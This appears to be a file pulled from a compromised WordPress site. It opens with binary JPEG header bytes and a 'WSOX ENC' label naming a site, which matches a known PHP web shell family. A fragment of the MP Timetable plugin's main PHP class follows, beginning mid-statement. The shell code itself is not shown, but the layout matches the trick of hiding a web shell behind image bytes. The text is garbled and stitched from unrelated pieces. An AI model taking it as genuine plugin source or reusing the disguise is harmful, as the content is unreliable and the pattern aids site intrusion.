���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC =' ) ) { add_action( 'wp_insert_site', array( 'Mp_Time_Table', 'on_create_blog' ) ); } else { add_action( 'wpmu_new_blog', array( 'Mp_Time_Table', 'on_create_blog' ) ); } add_filter( 'wpmu_drop_tables', array( 'Mp_Time_Table', 'on_delete_blog' ) ); /** * Class Mp_Time_Table */ class Mp_Time_Table { protected static $instance; /** * Mp_Time_Table constructor. */ public function __construct() { $this->include_all(); Core::get_instance()->init_plugin( 'mp_timetable' ); } /** * Include all files */ public function include_all() { /** * Include Gump */ require_once self::get_plugin_path() . 'classes/libs/class-gump.php'; /** * Install Parsers */ require_once self::get_plugin_path() . 'classes/libs/parsers.php'; /** * Include Permalinks */ require_once self::get_plugin_path() . 'classes/class-permalinks.php'; /** * Include Core */ require_once self::get_plugin_path() . 'classes/class-core.php'; /** * Include module */ require_once self::get_plugin_path() . 'classes/class-module.php'; /** * Include Model */ require_once self::get_plugin_path() . 'classes/class-model.php'; /** * Include Controller */ require_once self::get_plugin_path() . 'classes/class-controller.php'; /** * Include State factory */ require_once self::get_plugin_path() . 'classes/class-state-factory.php'; /** * Include Preprocessor */ require_once self::get_plugin_path() . 'classes/class-preprocessor.php'; /** * include shortcodes */ require_once( self::get_plugin_path() . 'classes/class-shortcode.php' ); /** * include Widgets */ require_once self::get_plugin_path() . 'classes/widgets/class-mp-timetable-widget.php'; /** * Include view */ require_once self::get_plugin_path() . 'classes/class-view.php'; /** * Include hooks */ require_once self::get_plugin_path() . 'classes/class-hooks.php'; /** * Include blocks */ require_once self::get_plugin_path() . 'classes/blocks/class-timetable-block.php'; /** * Include Widgets Managers */ require_once self::get_plugin_path() . 'classes/class-widgets-manager.php'; } /** * Get plugin path */ public static function get_plugin_path() { return plugin_dir_path( __FILE__ ); } /** * @return Mp_Time_Table */ public static function init() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Retrieve relative to theme root path to templates. * * @return string */ public static function get_template_path() { return apply_filters( 'mptt_template_path', 'mp-timetable/' ); } /** * Retrieve relative to plugin root path to templates. * * @return string */ public static function get_templates_path() { return self::get_plugin_path() . 'templates/'; } /** * Get plugin part path * * @param string $part * * @return string */ public static function get_plugin_part_path( $part = '' ) { return self::get_plugin_path() . $part; } /** * On activation */ public static function on_activation( $network_wide = false ) { if ( $network_wide && is_multisite() ) { $sites = get_sites(); foreach( $sites as $site ) { $blog_id = $site->blog_id; switch_to_blog( $blog_id ); Mp_Time_Table::install(); restore_current_blog(); } } else { Mp_Time_Table::install(); } } /** * Install */ public static function install() { // Register post type Core::get_instance()->register_all_post_type(); // Register taxonomy all Core::get_instance()->register_all_taxonomies(); flush_rewrite_rules( false ); //Create table in not exists Core::get_instance()->create_table(); } /** * On deactivation */ public static function on_deactivation() { flush_rewrite_rules( false ); } /** * On uninstall */ public static function on_uninstall() { do_action( 'mptt_on_uninstall' ); } /** * On create blog * * @param int|WP_Site $blog */ public static function on_create_blog( $blog ) { if ( is_plugin_active_for_network( MP_TT_PLUGIN_BASENAME ) ) { if ( ! is_int( $blog ) ) { $blog = $blog->id; } switch_to_blog( $blog ); Mp_Time_Table::install(); restore_current_blog(); } } /** * On blog creation */ public static function on_delete_blog( $tables ) { $tables[] = self::get_datatable(); return $tables; } /** * Get data table name * * @return string */ public static function get_datatable() { global $wpdb; return $wpdb->prefix . "mp_timetable_data"; } /** * Get plugin url * * @param string $path * * @return string */ static function get_plugin_url( $path = '' ) { return plugin_dir_url( __FILE__ ) . $path; } }